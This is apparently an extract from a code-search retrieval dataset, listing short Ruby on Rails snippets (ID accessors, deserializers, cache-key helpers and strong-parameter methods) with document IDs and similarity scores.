"text": "def find_by_identifier(provenance:, json: {})\n id_json = json.fetch(:metadata_standard_id, {})\n return nil unless id_json[:identifier].present?\n\n id = Api::V0::Deserialization::Identifier.deserialize(provenance: provenance, identifiable: nil,\n identifiable_type: 'Metadatum', json: id_json)\n return id.identifiable if id.present? && id.identifiable.is_a?(::Metadatum)\n\n ::Metadatum.new(provenance: provenance)\n end",
"title": ""
},
{
"docid": "a588d4c3ed4b9355d3c2b0d371af6899",
"score": "0.580968",
"text": "def fetch\n response = client.fetch_object(parse_class, id)\n return nil if response.error?\n response.result\n end",
"title": ""
},
{
"docid": "df44fb6d16980551170d2b3195f114cb",
"score": "0.5800211",
"text": "def deserialize(value)\n return unless value\n\n ::KSUID.from_base62(value)\n end",
"title": ""
},
{
"docid": "9f1810427060f0002cbeff05b2e84705",
"score": "0.57984567",
"text": "def id\n _property_json.fetch(\"id\", nil)\n end",
"title": ""
},
{
"docid": "ccc6512da4bd31d1734ca0906671d702",
"score": "0.5781527",
"text": "def id\n read_attr :id\n end",
"title": ""
},
{
"docid": "5e9e88c382cb76c9b4d451e3c2926aea",
"score": "0.5778957",
"text": "def deserialize(data)\n id = data.fetch('id')\n attributes = data.fetch('attributes')\n OpenStruct.new(attributes.merge(id: id))\n end",
"title": ""
},
{
"docid": "dac99d8709f0b217c967f55824004732",
"score": "0.5769524",
"text": "def unserialize_id(doc_id)\n self.driver.unserialize_id(doc_id)\n end",
"title": ""
},
{
"docid": "7c95b792851c2fb11fb3c5f6a5ffd2a4",
"score": "0.57655966",
"text": "def name\n raw[\"_id\"].split(\"/\").last\n end",
"title": ""
},
{
"docid": "f57429d1eabc77c3f516d4e1ede9893e",
"score": "0.57572645",
"text": "def attach_identifier(provenance:, dataset:, json: {})\n id = json.fetch(:dataset_id, {})\n return dataset unless id[:identifier].present?\n\n identifier = Api::V0::Deserialization::Identifier.deserialize(\n provenance: provenance, identifiable: dataset, json: id, identifiable_type: 'Dataset'\n )\n dataset.identifiers << identifier if identifier.present? && identifier.new_record?\n dataset\n end",
"title": ""
},
{
"docid": "b1c085e222af9fb61759d156cb657b43",
"score": "0.57495743",
"text": "def id\n @data['id']\n end",
"title": ""
},
{
"docid": "0a868df1a5ee7f4424e33e3dfdeb4cbf",
"score": "0.5746539",
"text": "def get_string; id; end",
"title": ""
},
{
"docid": "235a0b3b7158e8446f7fa605915def2a",
"score": "0.5741607",
"text": "def identifier\n @info.identifier\n end",
"title": ""
},
{
"docid": "15a07c12729acf78cdc61b7292517600",
"score": "0.5737944",
"text": "def find_by_identifier(provenance:, json: {})\n id_json = json.fetch(:dmp_id, {})\n return nil unless id_json[:identifier].present?\n\n id = Api::V0::Deserialization::Identifier.deserialize(provenance: provenance,\n identifiable: nil,\n identifiable_type: 'DataManagementPlan',\n json: id_json)\n id.present? && id.identifiable.is_a?(::DataManagementPlan) ? id.identifiable : nil\n end",
"title": ""
},
{
"docid": "068867a7520f7cc7038a2e85ca067fa5",
"score": "0.57343745",
"text": "def getNativeID(data)\n\n\t id= data[\"id\"]\n\n\t native_id = id.split(\":\")[-1]\n\n\t return native_id\n end",
"title": ""
},
{
"docid": "6c3f5c37d7c02891e1126d228fb51bb1",
"score": "0.57264",
"text": "def id\n @data['id']\n end",
"title": ""
},
{
"docid": "edefdf6f029831fa901c7211488757f0",
"score": "0.5712835",
"text": "def parse_id\n @has_id_set = parse_for(\"id\")\n end",
"title": ""
},
{
"docid": "e4c97587485e1a6addf3c79667939229",
"score": "0.57025546",
"text": "def parse data\n @id = data.fetch 'id'\n @name = data.fetch 'name'\n @game_ids = data.fetch 'games', []\n @authenticated = data.fetch 'authenticated', false\n end",
"title": ""
},
{
"docid": "e416d8d96e7ff6843a0cc6f46a81274d",
"score": "0.5697679",
"text": "def id\r\n attributes[\"id\"]\r\n end",
"title": ""
},
{
"docid": "e8ab5ec898442c478e83040ce33b8d6b",
"score": "0.5697066",
"text": "def identifier\n identifier = self[:identifier]\n if identifier.blank?\n identifier = self[:identifier] = UUID.generate\n end\n identifier\n end",
"title": ""
},
{
"docid": "649a070f6ee3a780445b4c00ce8a309a",
"score": "0.569682",
"text": "def id\n raw[\"_id\"]\n end",
"title": ""
},
{
"docid": "d924c6b8dd5942c2e5f3a48037611554",
"score": "0.56941736",
"text": "def identifier\n (respond_to?(:id) ? id : object_id).to_s\n end",
"title": ""
},
{
"docid": "184308281438a44b23d951ac330390f7",
"score": "0.56925356",
"text": "def deserialize_process_model_id_from_resume_data(ctx, resume_data:, **)\n # DISCUSS: should we warn when overriding an existing {process_model_id}?\n ctx[:process_model_id] = resume_data[\"id\"] # DISCUSS: overriding {:process_model_id}? # FIXME: stolen from Advance___::Controller\n end",
"title": ""
},
{
"docid": "982efa4666118fdbfc0cf6222d431293",
"score": "0.5690502",
"text": "def fetch\n response = client.fetch_object(parse_class, id)\n return nil if response.error?\n response.result\n end",
"title": ""
},
{
"docid": "a6adafbeed3fc2bbd68f40346babc898",
"score": "0.56745595",
"text": "def get_id() @id end",
"title": ""
},
{
"docid": "81cd1ca363a541bc7d09b517d87070e9",
"score": "0.56692296",
"text": "def load_data\n @id_muster = /\\w+_id/\n params.each do |key,value|\n if @id_muster.match(key)\n @objekt_type = key.gsub('_id', '').classify\n @objekt_id = value\n @data = @objekt_type.constantize.find(@objekt_id)\n end\n end\n end",
"title": ""
},
{
"docid": "81cd1ca363a541bc7d09b517d87070e9",
"score": "0.56692296",
"text": "def load_data\n @id_muster = /\\w+_id/\n params.each do |key,value|\n if @id_muster.match(key)\n @objekt_type = key.gsub('_id', '').classify\n @objekt_id = value\n @data = @objekt_type.constantize.find(@objekt_id)\n end\n end\n end",
"title": ""
},
{
"docid": "4aedaac7aac6ab2d7c0f1cb0dbb01121",
"score": "0.5663067",
"text": "def id\n @data[:id]\n end",
"title": ""
},
{
"docid": "4aedaac7aac6ab2d7c0f1cb0dbb01121",
"score": "0.5663067",
"text": "def id\n @data[:id]\n end",
"title": ""
},
{
"docid": "5e1a2a6b42040a719afdf7a19401f828",
"score": "0.5659785",
"text": "def id\n ref = JSONModel::parse_reference(self.uri)\n\n if ref\n ref[:id]\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "9f0654a9d2c30ed75bb35969024a5611",
"score": "0.5659415",
"text": "def fetch(id); end",
"title": ""
},
{
"docid": "6725e06bfb51efd60daaaf4b9314fb0e",
"score": "0.5656681",
"text": "def id\n read_attr :id\n end",
"title": ""
},
{
"docid": "9cb8c0658dbd018cf915b750c1a93304",
"score": "0.5651706",
"text": "def find_identifier\n @identifier = DCLPMetaIdentifier.find(params[:id].to_s)\n end",
"title": ""
},
{
"docid": "ed369a41b38476eaa458f96a0bcda4bd",
"score": "0.56469506",
"text": "def attach_identifier(provenance:, dmp:, json: {})\n id = json.fetch(:dmp_id, {})\n return dmp unless id[:identifier].present?\n\n descriptor = id[:type].downcase == 'url' ? 'is_metadata_for' : 'is_identified_by'\n identifier = Api::V0::Deserialization::Identifier.deserialize(\n provenance: provenance, identifiable: dmp, json: id, descriptor: descriptor,\n identifiable_type: 'DataManagementPlan'\n )\n dmp.identifiers << identifier if identifier.present? && identifier.new_record?\n dmp\n end",
"title": ""
},
{
"docid": "ab30c317512270bf71a4c53aa45278e0",
"score": "0.5645234",
"text": "def load(type, data)\n @id_map.fetch([type, data[:id]]) do # we use an array of object type and ID as the key.If the identity map already contains an object matching that key, it will be returned immediately.\n object = type.new #Otherwise, a new model object will be constructed, and added to the ID map before it is returned.\n data.each_with_object(object) { |(key, value), o| \n o[key] = value\n }\n @id_map[type, object.id] = object\n end\n end",
"title": ""
},
{
"docid": "aa5cec3c367f418351952e4802f5e0cd",
"score": "0.56351835",
"text": "def hash\n identifier.hash\n end",
"title": ""
}
] |
d2845736792381d1b7a651e5fb519e58
|
Fetch cache key Author: Puneet Date: 01/02/2018 Reviewed By:
|
[
{
"docid": "9fe7b67771dd47f1c72e0232b3b34494",
"score": "0.0",
"text": "def get_cache_key(id)\n memcache_key_object.key_template % @options.merge(id: id)\n end",
"title": ""
}
] |
[
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.7520602",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "4db01cabbb2c6e25526e6a98799e246e",
"score": "0.74916035",
"text": "def cache_key\n end",
"title": ""
},
{
"docid": "c36b3706b12c14e9dba4fcbad6c1ce2e",
"score": "0.7491212",
"text": "def cache_key\n end",
"title": ""
},
{
"docid": "ffcb04c479c101b6bee22df0b4e31615",
"score": "0.73811185",
"text": "def cache_key\n raise \"Fetcher #{self} does not implement `cache_key()`. This is required for terminal fetchers.\"\n end",
"title": ""
},
{
"docid": "7547e219e1fed35260bb54e6b11ffdd6",
"score": "0.71940154",
"text": "def get_cache_key\n \"#{id}#{KEY_SPLIT}#{email}\"\n end",
"title": ""
},
{
"docid": "c38a5ae61c3339a8acb1441620b347ac",
"score": "0.7084269",
"text": "def cache_key\n CACHE_KEY\n end",
"title": ""
},
{
"docid": "c8be65df033a245c3dc0575835893e71",
"score": "0.6963416",
"text": "def get_cache_key\n \"cache_#{id}_#{user_cache_key.try(:to_i)}\"\n end",
"title": ""
},
{
"docid": "3b9650199f7504d4f72569958ddc41fe",
"score": "0.69591063",
"text": "def cache_key\n attributes.fetch(:cache_key) { \"#{self.class.name.downcase}/#{id}-#{updated_at.strftime('%Y%m%d%H%M%S%9N')}\" }\n end",
"title": ""
},
{
"docid": "0a637681333e2c1bbf5cb014c38a3572",
"score": "0.6945805",
"text": "def cache_key(query); end",
"title": ""
},
{
"docid": "f65227f759b21b3271dff366b8220a8a",
"score": "0.69338644",
"text": "def cache_key(key)\n \"cache:#{cache_version}:#{key}\"\n end",
"title": ""
},
{
"docid": "868714b80fe90724dfaa8d9b2109275d",
"score": "0.69230855",
"text": "def cache_key_with_version; end",
"title": ""
},
{
"docid": "868714b80fe90724dfaa8d9b2109275d",
"score": "0.69230855",
"text": "def cache_key_with_version; end",
"title": ""
},
{
"docid": "3f51df51f9e6aa04598f7e5f02bbe29e",
"score": "0.6921981",
"text": "def cache_key\n @o.cache_key\n end",
"title": ""
},
{
"docid": "d86bcce5567c9e4bf52017d0f9995fb7",
"score": "0.6917271",
"text": "def cache_key\n \"clients/#{uid}-#{updated.iso8601}\"\n end",
"title": ""
},
{
"docid": "12cd7b93d80fe53ede79bc756eb04cb6",
"score": "0.69118446",
"text": "def get_cache_key\n Digest::SHA1.hexdigest \"#{query_url}\"\n end",
"title": ""
},
{
"docid": "444318e9549b63f04178006ca4d10617",
"score": "0.68673897",
"text": "def cache_key\n u, r = github.values_at(:user, :repo)\n name = self.name.gsub(\"::\", \":\").downcase\n @cache_key ||= \"#{name}:#{u}/#{r}\"\n end",
"title": ""
},
{
"docid": "461535138f0c27dbeda787b55182f6ac",
"score": "0.6866837",
"text": "def cache_key\n updated = self[:updated_at].utc\n commented = self[:commented_at]&.utc\n\n date = [updated, commented].compact.max.to_fs(cache_timestamp_format)\n\n \"#{self.class.model_name.cache_key}-#{id}-#{date}\"\n end",
"title": ""
},
{
"docid": "d266f24bf0a1a156e37285251c8e9cde",
"score": "0.6807688",
"text": "def cache_key(id); end",
"title": ""
},
{
"docid": "24f443e437b72bc2b5165314582c610c",
"score": "0.6804485",
"text": "def cache_key\n \"user-#{name.downcase.gsub(' ', '_')}\"\n end",
"title": ""
},
{
"docid": "e82af74dd05807ba55a74343f8ab6a82",
"score": "0.67644984",
"text": "def cache_key_for(url); end",
"title": ""
},
{
"docid": "082e4905f32b2fb9f82555107a9ab279",
"score": "0.675789",
"text": "def get_cache_key(user, key)\n return \"%06d:%s\" % [user.id, key]\n end",
"title": ""
},
{
"docid": "5d6c2d298c1d0254c36e1d6b052f123e",
"score": "0.6756254",
"text": "def fetch_from_cache\n memcache_key_object = get_memcache_key_object\n\n Memcache.read(memcache_key_object.key_template)\n end",
"title": ""
},
{
"docid": "f7fe8208acef2b05aea21b94074ec722",
"score": "0.6750873",
"text": "def cache_key\n @cache_key ||= compute_cache_key\n end",
"title": ""
},
{
"docid": "93280a1684fedfd6aa95abfcac01f76c",
"score": "0.6741085",
"text": "def cache_key\n @cache_key ||= generate_key\n end",
"title": ""
},
{
"docid": "675a9ec323d82b95f83ed7935526ac14",
"score": "0.67405504",
"text": "def cache_key\n ActiveSupport::Cache.expand_cache_key([\n self.class.model_name.name.downcase,\n \"#{id}-#{updated_at.strftime('%Y%m%d%H%M%S%9N')}\"\n ].compact)\n end",
"title": ""
},
{
"docid": "f3c16dc8047e612846878f2731a590e0",
"score": "0.67228645",
"text": "def cache_key(name)\n \"#{@server_uri}-#{@client_id}-#{name}\"\n end",
"title": ""
},
{
"docid": "46fafe3846f57022b095500edabe54df",
"score": "0.6714357",
"text": "def cache_key\n @cache_key ||= begin\n checksum = Digest::MD5.hexdigest(\"#{path.gsub(%r{^\\/}, '')}:#{sorted_params}\")\n \"#{CACHE_NAMESPACE}:#{checksum}\"\n end\n end",
"title": ""
},
{
"docid": "1aad4c763c4947ffbdf12a8471c05d65",
"score": "0.6709831",
"text": "def cache_key\n return @cache_key ||= [\n @uri.to_s.gsub(/[^[:alnum:]]+/, '_').sub(/_$/, ''),\n Digest::SHA1.hexdigest(@uri.to_s)\n ].join('-')\n end",
"title": ""
},
{
"docid": "1aad4c763c4947ffbdf12a8471c05d65",
"score": "0.6709831",
"text": "def cache_key\n return @cache_key ||= [\n @uri.to_s.gsub(/[^[:alnum:]]+/, '_').sub(/_$/, ''),\n Digest::SHA1.hexdigest(@uri.to_s)\n ].join('-')\n end",
"title": ""
},
{
"docid": "fad0c882372df7a212a4a065a74ea93b",
"score": "0.6704186",
"text": "def cache_key\n ActiveSupport::Cache.expand_cache_key([\n self.class.model_name.name.downcase,\n \"#{id}-#{updated_at.strftime('%Y%m%d%H%M%S%9N')}\"\n ].compact)\n end",
"title": ""
},
{
"docid": "fad0c882372df7a212a4a065a74ea93b",
"score": "0.6704186",
"text": "def cache_key\n ActiveSupport::Cache.expand_cache_key([\n self.class.model_name.name.downcase,\n \"#{id}-#{updated_at.strftime('%Y%m%d%H%M%S%9N')}\"\n ].compact)\n end",
"title": ""
},
{
"docid": "657dc1c159d48e32399cfbb15bf13a22",
"score": "0.66757905",
"text": "def get(key)\n Rails.cache.fetch full_key(key)\n end",
"title": ""
},
{
"docid": "fd51907248260b4c66929767212f6295",
"score": "0.6670464",
"text": "def cache_key\n cache_key_components.join(':')\n end",
"title": ""
},
{
"docid": "57c2288c37a19ad060191865a41c3150",
"score": "0.66639304",
"text": "def retrieve_from_cache!(cache_name); end",
"title": ""
},
{
"docid": "94d11b37a04ef2a43a5e9fbbc4bdba7c",
"score": "0.66407216",
"text": "def cache_id; end",
"title": ""
},
{
"docid": "94d11b37a04ef2a43a5e9fbbc4bdba7c",
"score": "0.66407216",
"text": "def cache_id; end",
"title": ""
},
{
"docid": "84482c9c92df318b3f871fa4ba98665b",
"score": "0.6640692",
"text": "def _cache_key\n object\n end",
"title": ""
},
{
"docid": "b612cf62e886c057cf40f033e3616b6c",
"score": "0.66336",
"text": "def fetch(key, cache_fetcher_options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "ab7477c8139383c9836cd5459fc68843",
"score": "0.6625262",
"text": "def get_memcache_key_object\n MemcacheKey.new('user.user_kyc_details')\n end",
"title": ""
},
{
"docid": "653b34fcd25af49e0893860510883adc",
"score": "0.6598328",
"text": "def cache_key(security, datestamp)\n year = datestamp / 10000\n \"#{security.id}-#{year}\"\n end",
"title": ""
},
{
"docid": "e798fb256b4dbaf8a2e0fcb127d631e8",
"score": "0.65952444",
"text": "def get_key(key)\n url = @config.meta_data_url + clean_path(key)\n cache_file = clean_path(@config.cache_dir + \"/meta-data\" + key)\n\n if File.exist?(cache_file)\n val = File.read(cache_file)\n else\n val = Util.get_url(url).chomp\n File.open(cache_file, \"w\") {|f| f.print val}\n end\n\n val\n end",
"title": ""
},
{
"docid": "6b94205bb68d56604fe6dc942d759732",
"score": "0.6585049",
"text": "def cache_name; end",
"title": ""
},
{
"docid": "6e9d2dca619d5887e48a8afe43a05abb",
"score": "0.6575951",
"text": "def retrieve_from_cache!(identifier); end",
"title": ""
},
{
"docid": "6e9d2dca619d5887e48a8afe43a05abb",
"score": "0.6575951",
"text": "def retrieve_from_cache!(identifier); end",
"title": ""
},
{
"docid": "a13ef73665769d8f1c3e5f3a3eb18d4c",
"score": "0.65649694",
"text": "def cache_key\n @cache_key || default_cache_key\n end",
"title": ""
},
{
"docid": "67e86be5ef2a88f41df001a3b18d7581",
"score": "0.6557234",
"text": "def retrieve content_id\n begin\n connection.get crypted_key(content_id)\n rescue Memcache::Error, MemcacheNotAvailable\n raise CacheNotAvailable.new(\"Cache is not available, impossible to retrieve\")\n end\n end",
"title": ""
},
{
"docid": "7c709854331f49df900b67b856f737df",
"score": "0.6545907",
"text": "def cache_key\n [object, @options[:include_books], @options[:include_contents]]\n end",
"title": ""
},
{
"docid": "516d9c48d5ee968e1f0a1f5dbcafc49d",
"score": "0.6544712",
"text": "def cache_key\n nil\n end",
"title": ""
},
{
"docid": "516d9c48d5ee968e1f0a1f5dbcafc49d",
"score": "0.6544712",
"text": "def cache_key\n nil\n end",
"title": ""
},
{
"docid": "13b7e57f18721ba3c710d9174bd79100",
"score": "0.6523442",
"text": "def cache_key\n \"#{super}-#{sha1sum}\"\n end",
"title": ""
},
{
"docid": "0c17f6d7f260cb5e1c4a77fd45e22040",
"score": "0.65205973",
"text": "def cache_key\n \"users/#{id}-#{user_updated_at.to_s(:number)}\"\n end",
"title": ""
},
{
"docid": "9ef6b162ee9558826c4093893e7c296c",
"score": "0.6509047",
"text": "def _cache_key\n self.object\n end",
"title": ""
},
{
"docid": "530e5913b868ded00ffef87dce097314",
"score": "0.65088785",
"text": "def cache_key(query)\n \"#{protocol}://api.db-ip.com/v2/#{query.sanitized_text}?\" + hash_to_query(cache_key_params(query))\n end",
"title": ""
},
{
"docid": "cf414955e548bab8786e60defa529103",
"score": "0.6505531",
"text": "def cache_key\n return @cache_key ||= [\n @host.to_s.gsub(/[^[:alnum:]]+/, '_').sub(/_$/, ''),\n Digest::SHA1.hexdigest(@host.to_s)\n ].join('-').freeze\n end",
"title": ""
},
{
"docid": "cf414955e548bab8786e60defa529103",
"score": "0.6505531",
"text": "def cache_key\n return @cache_key ||= [\n @host.to_s.gsub(/[^[:alnum:]]+/, '_').sub(/_$/, ''),\n Digest::SHA1.hexdigest(@host.to_s)\n ].join('-').freeze\n end",
"title": ""
},
{
"docid": "134012a286b5fe7314534c4af0ea6699",
"score": "0.6504788",
"text": "def cache_key_for(url)\n Digest::SHA1.hexdigest(\"#{@cache_salt}#{url}\")\n end",
"title": ""
},
{
"docid": "8d31193f7036407817adf6cc1290ef9f",
"score": "0.65038705",
"text": "def cache_key\n is_admin_or_staff? ? \"1\" : \"2\"\n end",
"title": ""
},
{
"docid": "8d31193f7036407817adf6cc1290ef9f",
"score": "0.65038705",
"text": "def cache_key\n is_admin_or_staff? ? \"1\" : \"2\"\n end",
"title": ""
},
{
"docid": "8d31193f7036407817adf6cc1290ef9f",
"score": "0.65038705",
"text": "def cache_key\n is_admin_or_staff? ? \"1\" : \"2\"\n end",
"title": ""
},
{
"docid": "a3d9a0f7c7c1d6b1fda2579cd0577019",
"score": "0.6479159",
"text": "def cache_key\n return @cache_key if @cache_key.present?\n sorted_params = request.query_parameters.sort_by {|k, v| k.to_s}\n key_path = \"#{request.path}?#{URI.encode_www_form(sorted_params)}\"\n @cache_key = Digest::MD5.hexdigest key_path\n end",
"title": ""
},
{
"docid": "3cd694b463cd23e35b00fa15290c2f18",
"score": "0.6476645",
"text": "def fetch_cached(key, &block)\n fetch(key, :cache => true, &block)\n end",
"title": ""
},
{
"docid": "c991ad03b16000c7deb7b3781dc0f786",
"score": "0.6459571",
"text": "def response_cache_key_for(request, vary); end",
"title": ""
},
{
"docid": "051b263ff22017b317d0501ae5a78641",
"score": "0.6454556",
"text": "def get_cache_key(key)\n \"#{object_key}:#{key}\"\n end",
"title": ""
},
{
"docid": "798ea48e53489fe13a46f0ab4888e9d6",
"score": "0.64471626",
"text": "def cache_fetch(id,cookie)\n #PersonConnection.get_person(id, cookie)\n Rails.cache.fetch(cache_key(id,cookie), :expires_in => PERSON_HASH_CACHE_EXPIRE_TIME) {PersonConnection.get_person(id, cookie)}\n end",
"title": ""
},
{
"docid": "d0af0194af832b2eb302a0bde9c0643c",
"score": "0.6438732",
"text": "def cache_key\n @cache_key ||= Time.now.to_i\n end",
"title": ""
},
{
"docid": "be138bdef3fc57ccfcdd167f135bbba5",
"score": "0.6428818",
"text": "def cache_key_timestamp\n File.mtime(UnpackService.root_path_from_noid(@entity.noid, 'pdf_ebook_chapters')).to_i\n rescue StandardError => _e\n ''\n end",
"title": ""
},
{
"docid": "f8261db21d8e9539998d8a9a53362b65",
"score": "0.6426891",
"text": "def get_cache_key\n memcache_key_object.key_template % {}\n end",
"title": ""
},
{
"docid": "0dbdfe56a159844d693b5e25352cc4ca",
"score": "0.64264613",
"text": "def cache_get(key)\n data = CacheModel.cache_get(key)\n Merb.logger.info(\"cache: #{data.nil? ? \"miss\" : \"hit\"} (#{key})\")\n data.nil? ? nil : Marshal.load(data)\n end",
"title": ""
},
{
"docid": "29bd35fec1d0eeeabbddd2450e4381fc",
"score": "0.6426152",
"text": "def cache_fetcher; end",
"title": ""
},
{
"docid": "29bd35fec1d0eeeabbddd2450e4381fc",
"score": "0.6426152",
"text": "def cache_fetcher; end",
"title": ""
},
{
"docid": "6b8a1034fb72c874a6208125528dbc12",
"score": "0.6423297",
"text": "def cache_key(query)\n Geocoder.config[:cache_prefix] + query_url(query).split('timestamp')[0]\n end",
"title": ""
},
{
"docid": "cc44aec6bd3bd7f48311bb13f2d13506",
"score": "0.64132506",
"text": "def cache_key\n attributes.fetch(:cache_key) { \"#{self.class.name.downcase}/#{id}\" }\n end",
"title": ""
},
{
"docid": "cc44aec6bd3bd7f48311bb13f2d13506",
"score": "0.64132506",
"text": "def cache_key\n attributes.fetch(:cache_key) { \"#{self.class.name.downcase}/#{id}\" }\n end",
"title": ""
},
{
"docid": "91c80742afdced7a6c17546805abd5cc",
"score": "0.6411546",
"text": "def cache_key(load_key)\n load_key\n end",
"title": ""
},
{
"docid": "e1d275bf3c5958c0f0d10250c95c5cc0",
"score": "0.6409723",
"text": "def get_memcache_key_object\n MemcacheKey.new('user.user_details')\n end",
"title": ""
},
{
"docid": "ecf6e10d5003777d731a3cb5118e9c15",
"score": "0.6394665",
"text": "def _cache_key action, intag\n\t\t\tkey = \"%s:%s\" % [action,intag]\t\n\t\tend",
"title": ""
},
{
"docid": "63c48886a206f1066bed44891af62ad5",
"score": "0.6383833",
"text": "def processor_cache_key(str); end",
"title": ""
},
{
"docid": "92217d787137bbddb8228178b90eab79",
"score": "0.63784516",
"text": "def cache_key\n desired_attributes.values.select(&:present?).map(&:to_s).join(\"/\")\n end",
"title": ""
},
{
"docid": "639bd9f5472e8180d9589df257a27e9c",
"score": "0.6361692",
"text": "def vary_cache_key_for(request); end",
"title": ""
},
{
"docid": "092925575b088af57b81b7134f62fef2",
"score": "0.6361517",
"text": "def cache_key\n Digest::MD5.hexdigest(\"#{self.class.name}-#{unique_request_key}\")\n end",
"title": ""
},
{
"docid": "b7211eef3db0a7d5563263fd34a46ea7",
"score": "0.63519657",
"text": "def cache_version; end",
"title": ""
},
{
"docid": "a91a838b99844964ce42f37750f9d573",
"score": "0.63503385",
"text": "def cache_store_key(key)\n 'cache-' << Digest::MD5.hexdigest(key)\n end",
"title": ""
},
{
"docid": "62314ca768343c09633f95c76da437d0",
"score": "0.63397944",
"text": "def cache_key(id)\n id.to_s\n end",
"title": ""
},
{
"docid": "40f1e390ead54ac34017a2b25b1efb7c",
"score": "0.6336243",
"text": "def cache_key\n [super, user.try(:cache_key)].compact.join('/')\n end",
"title": ""
},
{
"docid": "731724f35eb62ceb91f27577c5912684",
"score": "0.6332478",
"text": "def cache_hit; end",
"title": ""
},
{
"docid": "76ae34e9468a101afb9ee4deebae32b9",
"score": "0.6325335",
"text": "def cache_key(cache_id)\n version = cache_config[:version] unless cache_config.nil?\n [self.name, version, cache_id].compact.join(':').gsub(' ', '_')\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "114e5e16a6505f019b3c89e4f4944569",
"score": "0.0",
"text": "def post_params\n\t\tparams.require(:post).permit(:user_id, :file, :file_name, :title, :content, :name, :alttext, :status, :live_date, :guid, :live_time)\n\tend",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
